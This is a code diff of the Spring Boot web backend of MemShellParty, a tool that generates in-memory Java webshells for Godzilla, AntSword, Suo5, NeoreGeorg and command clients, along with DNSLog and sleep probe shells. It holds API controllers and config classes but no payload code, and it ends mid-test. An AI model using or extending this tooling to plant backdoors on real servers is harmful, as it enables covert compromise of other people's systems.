@RestControllerAdvice
|
@RestControllerAdvice
|
||||||
@Slf4j
|
@Slf4j
|
||||||
public class GlobalExceptionHandler {
|
public class GlobalExceptionHandler {
|
||||||
|
|
||||||
|
@ResponseStatus(HttpStatus.NOT_FOUND)
|
||||||
|
@ExceptionHandler(NoResourceFoundException.class)
|
||||||
|
public ResponseEntity<?> handleNoResourceException() {
|
||||||
|
return ResponseEntity.status(HttpStatus.NOT_FOUND).build();
|
||||||
|
}
|
||||||
|
|
||||||
|
@ResponseStatus(HttpStatus.INTERNAL_SERVER_ERROR)
|
||||||
|
@ExceptionHandler(GenerationException.class)
|
||||||
|
public ErrorResponse handleGenerationException(GenerationException exception) {
|
||||||
|
return new ErrorResponse(exception.getMessage());
|
||||||
|
}
|
||||||
|
|
||||||
@ResponseStatus(HttpStatus.INTERNAL_SERVER_ERROR)
|
@ResponseStatus(HttpStatus.INTERNAL_SERVER_ERROR)
|
||||||
@ExceptionHandler(Throwable.class)
|
@ExceptionHandler(Throwable.class)
|
||||||
public ErrorResponse handleThrowable(Throwable throwable) {
|
public ErrorResponse handleThrowable(Throwable throwable) {
|
||||||
log.error("请求出错", throwable);
|
log.error("Internal Exception", throwable);
|
||||||
return new ErrorResponse(throwable.getMessage());
|
return new ErrorResponse(throwable.getMessage());
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -0,0 +1,21 @@
|
|||||||
|
package com.reajason.javaweb.boot.config;
|
||||||
|
|
||||||
|
import org.springframework.context.annotation.Bean;
|
||||||
|
import org.springframework.context.annotation.Configuration;
|
||||||
|
import org.springframework.http.client.SimpleClientHttpRequestFactory;
|
||||||
|
import org.springframework.web.client.RestTemplate;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
*/
|
||||||
|
@Configuration
|
||||||
|
public class WebConfig {
|
||||||
|
|
||||||
|
@Bean
|
||||||
|
public RestTemplate restTemplate() {
|
||||||
|
SimpleClientHttpRequestFactory factory = new SimpleClientHttpRequestFactory();
|
||||||
|
factory.setConnectTimeout(3000);
|
||||||
|
factory.setReadTimeout(3000);
|
||||||
|
return new RestTemplate(factory);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,24 @@
|
|||||||
|
package com.reajason.javaweb.boot.controller;
|
||||||
|
|
||||||
|
import org.springframework.asm.ClassReader;
|
||||||
|
import org.springframework.cglib.core.ClassNameReader;
|
||||||
|
import org.springframework.web.bind.annotation.CrossOrigin;
|
||||||
|
import org.springframework.web.bind.annotation.PostMapping;
|
||||||
|
import org.springframework.web.bind.annotation.RequestBody;
|
||||||
|
import org.springframework.web.bind.annotation.RestController;
|
||||||
|
|
||||||
|
import java.util.Base64;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/11/10
|
||||||
|
*/
|
||||||
|
@RestController
|
||||||
|
@CrossOrigin("*")
|
||||||
|
public class ClassNameParseController {
|
||||||
|
|
||||||
|
@PostMapping("/className")
|
||||||
|
public String className(@RequestBody String classBase64) {
|
||||||
|
return ClassNameReader.getClassName(new ClassReader(Base64.getDecoder().decode(classBase64)));
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,17 +1,16 @@
|
|||||||
package com.reajason.javaweb.boot.controller;
|
package com.reajason.javaweb.boot.controller;
|
||||||
|
|
||||||
import com.reajason.javaweb.boot.entity.Config;
|
import com.reajason.javaweb.boot.vo.CommandConfigVO;
|
||||||
import com.reajason.javaweb.memshell.server.AbstractShell;
|
import com.reajason.javaweb.memshell.ServerFactory;
|
||||||
import com.reajason.javaweb.memshell.Server;
|
import com.reajason.javaweb.memshell.config.CommandConfig;
|
||||||
import com.reajason.javaweb.memshell.ShellTool;
|
import com.reajason.javaweb.memshell.server.AbstractServer;
|
||||||
import com.reajason.javaweb.memshell.Packers;
|
import com.reajason.javaweb.packer.Packers;
|
||||||
import org.springframework.http.ResponseEntity;
|
|
||||||
import org.springframework.web.bind.annotation.CrossOrigin;
|
import org.springframework.web.bind.annotation.CrossOrigin;
|
||||||
|
import org.springframework.web.bind.annotation.GetMapping;
|
||||||
import org.springframework.web.bind.annotation.RequestMapping;
|
import org.springframework.web.bind.annotation.RequestMapping;
|
||||||
import org.springframework.web.bind.annotation.RestController;
|
import org.springframework.web.bind.annotation.RestController;
|
||||||
|
|
||||||
import java.util.*;
|
import java.util.*;
|
||||||
import java.util.stream.Collectors;
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
@@ -21,38 +20,50 @@ import java.util.stream.Collectors;
|
|||||||
@RequestMapping("/config")
|
@RequestMapping("/config")
|
||||||
@CrossOrigin("*")
|
@CrossOrigin("*")
|
||||||
public class ConfigController {
|
public class ConfigController {
|
||||||
|
|
||||||
|
@RequestMapping("/servers")
|
||||||
|
public Map<String, List<String>> getServers() {
|
||||||
|
Map<String, List<String>> servers = new LinkedHashMap<>();
|
||||||
|
List<String> supportedServers = ServerFactory.getSupportedServers();
|
||||||
|
for (String supportedServer : supportedServers) {
|
||||||
|
Set<String> supportedShellTypes = ServerFactory.getServer(supportedServer)
|
||||||
|
.getShellInjectorMapping().getSupportedShellTypes();
|
||||||
|
servers.put(supportedServer, supportedShellTypes.stream().toList());
|
||||||
|
}
|
||||||
|
return servers;
|
||||||
|
}
|
||||||
|
|
||||||
|
@RequestMapping("/packers")
|
||||||
|
public List<String> getPackers() {
|
||||||
|
return Arrays.stream(Packers.values())
|
||||||
|
.filter(packers -> packers.getParentPacker() == null)
|
||||||
|
.map(Packers::name).toList();
|
||||||
|
}
|
||||||
|
|
||||||
@RequestMapping
|
@RequestMapping
|
||||||
public ResponseEntity<?> config() {
|
public Map<String, Map<?, ?>> config() {
|
||||||
Map<String, Map<?, ?>> coreMap = new HashMap<>(16);
|
Map<String, Map<?, ?>> coreMap = new HashMap<>(16);
|
||||||
for (Server value : Server.values()) {
|
List<String> supportedServers = ServerFactory.getSupportedServers();
|
||||||
AbstractShell shell = value.getShell();
|
for (String supportedServer : supportedServers) {
|
||||||
if (shell == null) {
|
AbstractServer server = ServerFactory.getServer(supportedServer);
|
||||||
continue;
|
|
||||||
}
|
|
||||||
ShellTool[] supportedShellTools = ShellTool.values();
|
|
||||||
Map<String, Set<String>> map = new LinkedHashMap<>(16);
|
Map<String, Set<String>> map = new LinkedHashMap<>(16);
|
||||||
for (ShellTool shellTool : supportedShellTools) {
|
for (String shellTool : server.getSupportedShellTools()) {
|
||||||
Set<String> supportedShellTypes = shell.getSupportedShellTypes(shellTool);
|
Set<String> supportedShellTypes = server.getSupportedShellTypes(shellTool);
|
||||||
if (supportedShellTypes.isEmpty()) {
|
if (supportedShellTypes.isEmpty()) {
|
||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
map.put(shellTool.name(), supportedShellTypes);
|
map.put(shellTool, supportedShellTypes);
|
||||||
}
|
}
|
||||||
coreMap.put(value.name(), map);
|
coreMap.put(supportedServer, map);
|
||||||
}
|
}
|
||||||
Config config = new Config();
|
return coreMap;
|
||||||
config.setServers(
|
}
|
||||||
Arrays.stream(Server.values())
|
|
||||||
.filter(s -> s.getShell() != null)
|
@GetMapping("/command/configs")
|
||||||
.map(Server::name)
|
public CommandConfigVO getCommandConfigs() {
|
||||||
.collect(Collectors.toList())
|
CommandConfigVO commandConfigVO = new CommandConfigVO();
|
||||||
);
|
commandConfigVO.setEncryptors(Arrays.stream(CommandConfig.Encryptor.values()).toList());
|
||||||
config.setCore(coreMap);
|
commandConfigVO.setImplementationClasses(Arrays.stream(CommandConfig.ImplementationClass.values()).toList());
|
||||||
config.setPackers(
|
return commandConfigVO;
|
||||||
Arrays.stream(Packers.values())
|
|
||||||
.filter(packers -> packers.getParentPacker() == null)
|
|
||||||
.map(Packers::name).toList()
|
|
||||||
);
|
|
||||||
return ResponseEntity.ok(config);
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -1,41 +0,0 @@
|
|||||||
package com.reajason.javaweb.boot.controller;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.MemShellGenerator;
|
|
||||||
import com.reajason.javaweb.boot.dto.GenerateRequest;
|
|
||||||
import com.reajason.javaweb.boot.dto.GenerateResponse;
|
|
||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
|
||||||
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
|
||||||
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
|
||||||
import com.reajason.javaweb.memshell.packer.AggregatePacker;
|
|
||||||
import com.reajason.javaweb.memshell.packer.Packer;
|
|
||||||
import com.reajason.javaweb.memshell.packer.jar.JarPacker;
|
|
||||||
import org.springframework.http.ResponseEntity;
|
|
||||||
import org.springframework.web.bind.annotation.*;
|
|
||||||
|
|
||||||
import java.util.Base64;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2024/12/18
|
|
||||||
*/
|
|
||||||
@RestController
|
|
||||||
@RequestMapping("/generate")
|
|
||||||
@CrossOrigin("*")
|
|
||||||
public class GeneratorController {
|
|
||||||
@PostMapping
|
|
||||||
public ResponseEntity<?> generate(@RequestBody GenerateRequest request) {
|
|
||||||
ShellConfig shellConfig = request.getShellConfig();
|
|
||||||
ShellToolConfig shellToolConfig = request.parseShellToolConfig();
|
|
||||||
InjectorConfig injectorConfig = request.getInjectorConfig();
|
|
||||||
GenerateResult generateResult = MemShellGenerator.generate(shellConfig, injectorConfig, shellToolConfig);
|
|
||||||
Packer packer = request.getPacker().getInstance();
|
|
||||||
if (packer instanceof JarPacker) {
|
|
||||||
return ResponseEntity.ok(new GenerateResponse(generateResult, Base64.getEncoder().encodeToString(((JarPacker) packer).packBytes(generateResult))));
|
|
||||||
} else if (packer instanceof AggregatePacker) {
|
|
||||||
return ResponseEntity.ok(new GenerateResponse(generateResult, ((AggregatePacker) packer).packAll(generateResult)));
|
|
||||||
} else {
|
|
||||||
return ResponseEntity.ok(new GenerateResponse(generateResult, packer.pack(generateResult)));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -0,0 +1,40 @@
|
|||||||
|
package com.reajason.javaweb.boot.controller;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.boot.dto.MemShellGenerateRequest;
|
||||||
|
import com.reajason.javaweb.boot.dto.MemShellGenerateResponse;
|
||||||
|
import com.reajason.javaweb.memshell.MemShellGenerator;
|
||||||
|
import com.reajason.javaweb.memshell.MemShellResult;
|
||||||
|
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||||
|
import com.reajason.javaweb.packer.AggregatePacker;
|
||||||
|
import com.reajason.javaweb.packer.JarPacker;
|
||||||
|
import com.reajason.javaweb.packer.Packer;
|
||||||
|
import org.springframework.web.bind.annotation.*;
|
||||||
|
|
||||||
|
import java.util.Base64;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/18
|
||||||
|
*/
|
||||||
|
@RestController
|
||||||
|
@RequestMapping("/memshell/generate")
|
||||||
|
@CrossOrigin("*")
|
||||||
|
public class MemShellGeneratorController {
|
||||||
|
@PostMapping
|
||||||
|
public MemShellGenerateResponse generate(@RequestBody MemShellGenerateRequest request) {
|
||||||
|
ShellConfig shellConfig = request.getShellConfig();
|
||||||
|
ShellToolConfig shellToolConfig = request.parseShellToolConfig();
|
||||||
|
InjectorConfig injectorConfig = request.getInjectorConfig();
|
||||||
|
MemShellResult generateResult = MemShellGenerator.generate(shellConfig, injectorConfig, shellToolConfig);
|
||||||
|
Packer packer = request.getPacker().getInstance();
|
||||||
|
if (packer instanceof AggregatePacker) {
|
||||||
|
return new MemShellGenerateResponse(generateResult, ((AggregatePacker) packer).packAll(generateResult.toClassPackerConfig()));
|
||||||
|
}
|
||||||
|
if (packer instanceof JarPacker) {
|
||||||
|
return new MemShellGenerateResponse(generateResult, Base64.getEncoder().encodeToString(((JarPacker) packer).packBytes(generateResult.toJarPackerConfig())));
|
||||||
|
}
|
||||||
|
return new MemShellGenerateResponse(generateResult, packer.pack(generateResult.toClassPackerConfig()));
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,33 @@
|
|||||||
|
package com.reajason.javaweb.boot.controller;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.boot.dto.ProbeShellGenerateRequest;
|
||||||
|
import com.reajason.javaweb.boot.dto.ProbeShellGenerateResponse;
|
||||||
|
import com.reajason.javaweb.packer.AggregatePacker;
|
||||||
|
import com.reajason.javaweb.packer.Packer;
|
||||||
|
import com.reajason.javaweb.probe.ProbeShellGenerator;
|
||||||
|
import com.reajason.javaweb.probe.ProbeShellResult;
|
||||||
|
import com.reajason.javaweb.probe.config.ProbeConfig;
|
||||||
|
import com.reajason.javaweb.probe.config.ProbeContentConfig;
|
||||||
|
import org.springframework.web.bind.annotation.*;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/8/10
|
||||||
|
*/
|
||||||
|
@RestController
|
||||||
|
@RequestMapping("/probe/generate")
|
||||||
|
@CrossOrigin("*")
|
||||||
|
public class ProbeShellGeneratorController {
|
||||||
|
@PostMapping
|
||||||
|
public ProbeShellGenerateResponse generate(@RequestBody ProbeShellGenerateRequest request) {
|
||||||
|
ProbeConfig probeConfig = request.getProbeConfig();
|
||||||
|
ProbeContentConfig probeContentConfig = request.parseProbeContentConfig();
|
||||||
|
ProbeShellResult generateResult = ProbeShellGenerator.generate(probeConfig, probeContentConfig);
|
||||||
|
Packer packer = request.getPacker().getInstance();
|
||||||
|
if (packer instanceof AggregatePacker) {
|
||||||
|
return new ProbeShellGenerateResponse(generateResult, ((AggregatePacker) packer).packAll(generateResult.toClassPackerConfig()));
|
||||||
|
} else {
|
||||||
|
return new ProbeShellGenerateResponse(generateResult, packer.pack(generateResult.toClassPackerConfig()));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,10 +1,20 @@
|
|||||||
package com.reajason.javaweb.boot.controller;
|
package com.reajason.javaweb.boot.controller;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.boot.entity.VersionInfo;
|
||||||
import org.springframework.beans.factory.annotation.Value;
|
import org.springframework.beans.factory.annotation.Value;
|
||||||
|
import org.springframework.core.ParameterizedTypeReference;
|
||||||
|
import org.springframework.http.HttpMethod;
|
||||||
|
import org.springframework.http.HttpStatus;
|
||||||
|
import org.springframework.http.ResponseEntity;
|
||||||
import org.springframework.web.bind.annotation.CrossOrigin;
|
import org.springframework.web.bind.annotation.CrossOrigin;
|
||||||
import org.springframework.web.bind.annotation.GetMapping;
|
import org.springframework.web.bind.annotation.GetMapping;
|
||||||
import org.springframework.web.bind.annotation.RequestMapping;
|
import org.springframework.web.bind.annotation.RequestMapping;
|
||||||
import org.springframework.web.bind.annotation.RestController;
|
import org.springframework.web.bind.annotation.RestController;
|
||||||
|
import org.springframework.web.client.RestTemplate;
|
||||||
|
import org.thymeleaf.util.StringUtils;
|
||||||
|
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.Map;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
@@ -16,10 +26,66 @@ import org.springframework.web.bind.annotation.RestController;
|
|||||||
public class VersionController {
|
public class VersionController {
|
||||||
|
|
||||||
@Value("${spring.application.version}")
|
@Value("${spring.application.version}")
|
||||||
String version;
|
private String version;
|
||||||
|
|
||||||
|
private final RestTemplate restTemplate;
|
||||||
|
|
||||||
|
public VersionController(RestTemplate restTemplate) {
|
||||||
|
this.restTemplate = restTemplate;
|
||||||
|
}
|
||||||
|
|
||||||
@GetMapping
|
@GetMapping
|
||||||
public String version() {
|
public VersionInfo version() {
|
||||||
|
if (version.endsWith("-SNAPSHOT")) {
|
||||||
|
return VersionInfo.builder()
|
||||||
|
.currentVersion(version)
|
||||||
|
.latestVersion(version).build();
|
||||||
|
}
|
||||||
|
String latestVersion = getLatestGithubRelease();
|
||||||
|
return VersionInfo.builder()
|
||||||
|
.currentVersion(version)
|
||||||
|
.latestVersion(latestVersion)
|
||||||
|
.hasUpdate(!StringUtils.equals(version, latestVersion))
|
||||||
|
.build();
|
||||||
|
}
|
||||||
|
|
||||||
|
private String getLatestGithubRelease() {
|
||||||
|
try {
|
||||||
|
String latestVersion = tryFetchRelease("https://api.github.com");
|
||||||
|
if (latestVersion != null) {
|
||||||
|
return latestVersion;
|
||||||
|
}
|
||||||
|
latestVersion = tryFetchRelease("https://gh.llkk.cc/https://api.github.com");
|
||||||
|
if (latestVersion != null) {
|
||||||
|
return latestVersion;
|
||||||
|
}
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
return version;
|
return version;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
private String tryFetchRelease(String baseUrl) {
|
||||||
|
String apiUrl = String.format("%s/repos/%s/%s/releases", baseUrl, "ReaJason", "MemShellParty");
|
||||||
|
|
||||||
|
ResponseEntity<List<Map<String, Object>>> response = restTemplate.exchange(
|
||||||
|
apiUrl,
|
||||||
|
HttpMethod.GET,
|
||||||
|
null,
|
||||||
|
new ParameterizedTypeReference<>() {
|
||||||
|
}
|
||||||
|
);
|
||||||
|
if (response.getStatusCode() == HttpStatus.OK && response.getBody() != null) {
|
||||||
|
List<Map<String, Object>> body = response.getBody();
|
||||||
|
for (Map<String, Object> map : body) {
|
||||||
|
String targetCommitish = (String) map.get("target_commitish");
|
||||||
|
Boolean prerelease = (Boolean) map.get("prerelease");
|
||||||
|
Boolean draft = (Boolean) map.get("draft");
|
||||||
|
if ("master".equals(targetCommitish) && !prerelease && !draft) {
|
||||||
|
String tagName = (String) map.get("name");
|
||||||
|
return tagName.startsWith("v") ? tagName.substring(1) : tagName;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,29 +0,0 @@
|
|||||||
package com.reajason.javaweb.boot.dto;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
|
||||||
import lombok.Data;
|
|
||||||
import lombok.NoArgsConstructor;
|
|
||||||
|
|
||||||
import java.util.Map;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2024/12/18
|
|
||||||
*/
|
|
||||||
@Data
|
|
||||||
@NoArgsConstructor
|
|
||||||
public class GenerateResponse {
|
|
||||||
private GenerateResult generateResult;
|
|
||||||
private String packResult;
|
|
||||||
private Map<String, String> allPackResults;
|
|
||||||
|
|
||||||
public GenerateResponse(GenerateResult generateResult, String packResult) {
|
|
||||||
this.generateResult = generateResult;
|
|
||||||
this.packResult = packResult;
|
|
||||||
}
|
|
||||||
|
|
||||||
public GenerateResponse(GenerateResult generateResult, Map<String, String> allPackResults) {
|
|
||||||
this.allPackResults = allPackResults;
|
|
||||||
this.generateResult = generateResult;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,22 +1,24 @@
|
|||||||
package com.reajason.javaweb.boot.dto;
|
package com.reajason.javaweb.boot.dto;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.config.*;
|
import com.reajason.javaweb.memshell.config.*;
|
||||||
import com.reajason.javaweb.memshell.Packers;
|
import com.reajason.javaweb.packer.Packers;
|
||||||
import lombok.Data;
|
import lombok.Data;
|
||||||
|
|
||||||
|
import static com.reajason.javaweb.memshell.ShellTool.*;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2024/12/18
|
* @since 2024/12/18
|
||||||
*/
|
*/
|
||||||
@Data
|
@Data
|
||||||
public class GenerateRequest {
|
public class MemShellGenerateRequest {
|
||||||
private ShellConfig shellConfig;
|
private ShellConfig shellConfig;
|
||||||
private ShellToolConfigDTO shellToolConfig;
|
private ShellToolConfigDTO shellToolConfig;
|
||||||
private InjectorConfig injectorConfig;
|
private InjectorConfig injectorConfig;
|
||||||
private Packers packer;
|
private Packers packer;
|
||||||
|
|
||||||
@Data
|
@Data
|
||||||
static class ShellToolConfigDTO {
|
public static class ShellToolConfigDTO {
|
||||||
private String shellClassName;
|
private String shellClassName;
|
||||||
private String godzillaPass;
|
private String godzillaPass;
|
||||||
private String godzillaKey;
|
private String godzillaKey;
|
||||||
@@ -25,6 +27,9 @@ public class GenerateRequest {
|
|||||||
private String antSwordPass;
|
private String antSwordPass;
|
||||||
private String headerName;
|
private String headerName;
|
||||||
private String headerValue;
|
private String headerValue;
|
||||||
|
private String shellClassBase64;
|
||||||
|
private String encryptor;
|
||||||
|
private String implementationClass;
|
||||||
}
|
}
|
||||||
|
|
||||||
public ShellToolConfig parseShellToolConfig() {
|
public ShellToolConfig parseShellToolConfig() {
|
||||||
@@ -45,18 +50,29 @@ public class GenerateRequest {
|
|||||||
case Command -> CommandConfig.builder()
|
case Command -> CommandConfig.builder()
|
||||||
.shellClassName(shellToolConfig.getShellClassName())
|
.shellClassName(shellToolConfig.getShellClassName())
|
||||||
.paramName(shellToolConfig.getCommandParamName())
|
.paramName(shellToolConfig.getCommandParamName())
|
||||||
|
.encryptor(CommandConfig.Encryptor.fromString(shellToolConfig.getEncryptor()))
|
||||||
|
.implementationClass(CommandConfig.ImplementationClass.fromString(shellToolConfig.getImplementationClass()))
|
||||||
.build();
|
.build();
|
||||||
case Suo5 -> Suo5Config.builder()
|
case Suo5 -> Suo5Config.builder()
|
||||||
.shellClassName(shellToolConfig.getShellClassName())
|
.shellClassName(shellToolConfig.getShellClassName())
|
||||||
.headerName(shellToolConfig.getHeaderName())
|
.headerName(shellToolConfig.getHeaderName())
|
||||||
.headerValue(shellToolConfig.getHeaderValue())
|
.headerValue(shellToolConfig.getHeaderValue())
|
||||||
.build();
|
.build();
|
||||||
case AntSword -> AntSwordConfig.builder()
|
case AntSword -> AntSwordConfig.builder()
|
||||||
.shellClassName(shellToolConfig.getShellClassName())
|
.shellClassName(shellToolConfig.getShellClassName())
|
||||||
.pass(shellToolConfig.getAntSwordPass())
|
.pass(shellToolConfig.getAntSwordPass())
|
||||||
.headerName(shellToolConfig.getHeaderName())
|
.headerName(shellToolConfig.getHeaderName())
|
||||||
.headerValue(shellToolConfig.getHeaderValue())
|
.headerValue(shellToolConfig.getHeaderValue())
|
||||||
.build();
|
.build();
|
||||||
|
case NeoreGeorg -> NeoreGeorgConfig.builder()
|
||||||
|
.shellClassName(shellToolConfig.getShellClassName())
|
||||||
|
.headerName(shellToolConfig.getHeaderName())
|
||||||
|
.headerValue(shellToolConfig.getHeaderValue())
|
||||||
|
.build();
|
||||||
|
case Custom -> CustomConfig.builder()
|
||||||
|
.shellClassBase64(shellToolConfig.getShellClassBase64())
|
||||||
|
.shellClassName(shellToolConfig.getShellClassName())
|
||||||
|
.build();
|
||||||
default -> throw new UnsupportedOperationException("unknown shell tool " + shellConfig.getShellTool());
|
default -> throw new UnsupportedOperationException("unknown shell tool " + shellConfig.getShellTool());
|
||||||
};
|
};
|
||||||
}
|
}
|
||||||
@@ -0,0 +1,29 @@
|
|||||||
|
package com.reajason.javaweb.boot.dto;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.MemShellResult;
|
||||||
|
import lombok.Data;
|
||||||
|
import lombok.NoArgsConstructor;
|
||||||
|
|
||||||
|
import java.util.Map;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/18
|
||||||
|
*/
|
||||||
|
@Data
|
||||||
|
@NoArgsConstructor
|
||||||
|
public class MemShellGenerateResponse {
|
||||||
|
private MemShellResult memShellResult;
|
||||||
|
private String packResult;
|
||||||
|
private Map<String, String> allPackResults;
|
||||||
|
|
||||||
|
public MemShellGenerateResponse(MemShellResult memShellResult, String packResult) {
|
||||||
|
this.memShellResult = memShellResult;
|
||||||
|
this.packResult = packResult;
|
||||||
|
}
|
||||||
|
|
||||||
|
public MemShellGenerateResponse(MemShellResult memShellResult, Map<String, String> allPackResults) {
|
||||||
|
this.allPackResults = allPackResults;
|
||||||
|
this.memShellResult = memShellResult;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,42 @@
|
|||||||
|
package com.reajason.javaweb.boot.dto;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
|
import com.reajason.javaweb.probe.config.*;
|
||||||
|
import lombok.Data;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/8/10
|
||||||
|
*/
|
||||||
|
@Data
|
||||||
|
public class ProbeShellGenerateRequest {
|
||||||
|
private ProbeConfig probeConfig;
|
||||||
|
private ProbeContentConfigDTO probeContentConfig;
|
||||||
|
private Packers packer;
|
||||||
|
|
||||||
|
@Data
|
||||||
|
static class ProbeContentConfigDTO {
|
||||||
|
private String host;
|
||||||
|
private int seconds;
|
||||||
|
private String server;
|
||||||
|
private String sleepServer;
|
||||||
|
private String reqParamName;
|
||||||
|
}
|
||||||
|
|
||||||
|
public ProbeContentConfig parseProbeContentConfig() {
|
||||||
|
return switch (probeConfig.getProbeMethod()) {
|
||||||
|
case DNSLog -> DnsLogConfig.builder()
|
||||||
|
.host(probeContentConfig.host)
|
||||||
|
.build();
|
||||||
|
case Sleep -> SleepConfig.builder()
|
||||||
|
.seconds(probeContentConfig.seconds)
|
||||||
|
.server(probeContentConfig.sleepServer)
|
||||||
|
.build();
|
||||||
|
case ResponseBody -> ResponseBodyConfig.builder()
|
||||||
|
.reqParamName(probeContentConfig.reqParamName)
|
||||||
|
.server(probeContentConfig.server)
|
||||||
|
.build();
|
||||||
|
default -> throw new UnsupportedOperationException("unknown probe method: " + probeConfig.getProbeMethod());
|
||||||
|
};
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,29 @@
|
|||||||
|
package com.reajason.javaweb.boot.dto;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.probe.ProbeShellResult;
|
||||||
|
import lombok.Data;
|
||||||
|
import lombok.NoArgsConstructor;
|
||||||
|
|
||||||
|
import java.util.Map;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/8/10
|
||||||
|
*/
|
||||||
|
@Data
|
||||||
|
@NoArgsConstructor
|
||||||
|
public class ProbeShellGenerateResponse {
|
||||||
|
private ProbeShellResult probeShellResult;
|
||||||
|
private String packResult;
|
||||||
|
private Map<String, String> allPackResults;
|
||||||
|
|
||||||
|
public ProbeShellGenerateResponse(ProbeShellResult probeShellResult, String packResult) {
|
||||||
|
this.probeShellResult = probeShellResult;
|
||||||
|
this.packResult = packResult;
|
||||||
|
}
|
||||||
|
|
||||||
|
public ProbeShellGenerateResponse(ProbeShellResult probeShellResult, Map<String, String> allPackResults) {
|
||||||
|
this.allPackResults = allPackResults;
|
||||||
|
this.probeShellResult = probeShellResult;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -11,7 +11,7 @@ import java.util.Map;
|
|||||||
*/
|
*/
|
||||||
@Data
|
@Data
|
||||||
public class Config {
|
public class Config {
|
||||||
private List<String> servers;
|
private Map<String, List<String>> servers;
|
||||||
private Map<String, Map<?, ?>> core;
|
private Map<String, Map<?, ?>> core;
|
||||||
private List<String> packers;
|
private List<String> packers;
|
||||||
}
|
}
|
||||||
@@ -0,0 +1,15 @@
|
|||||||
|
package com.reajason.javaweb.boot.entity;
|
||||||
|
|
||||||
|
import lombok.Data;
|
||||||
|
import lombok.Builder;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
*/
|
||||||
|
@Data
|
||||||
|
@Builder
|
||||||
|
public class VersionInfo {
|
||||||
|
private String currentVersion;
|
||||||
|
private String latestVersion;
|
||||||
|
private boolean hasUpdate;
|
||||||
|
}
|
||||||
@@ -0,0 +1,16 @@
|
|||||||
|
package com.reajason.javaweb.boot.vo;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.config.CommandConfig;
|
||||||
|
import lombok.Data;
|
||||||
|
|
||||||
|
import java.util.List;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/5/25
|
||||||
|
*/
|
||||||
|
@Data
|
||||||
|
public class CommandConfigVO {
|
||||||
|
private List<CommandConfig.Encryptor> encryptors;
|
||||||
|
private List<CommandConfig.ImplementationClass> implementationClasses;
|
||||||
|
}
|
||||||
@@ -0,0 +1,18 @@
|
|||||||
|
package com.reajason.javaweb.boot.controller;
|
||||||
|
|
||||||
|
import org.junit.jupiter.api.Test;
|
||||||
|
|
||||||
|
import static org.junit.jupiter.api.Assertions.*;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/11/10
|
||||||
|
*/
|
||||||
|
class ClassNameParseControllerTest {
|
||||||
|
@Test
|
||||||
|
void test(){
|
||||||
|
ClassNameParseController classNameParseController = new ClassNameParseController();
|
||||||
|
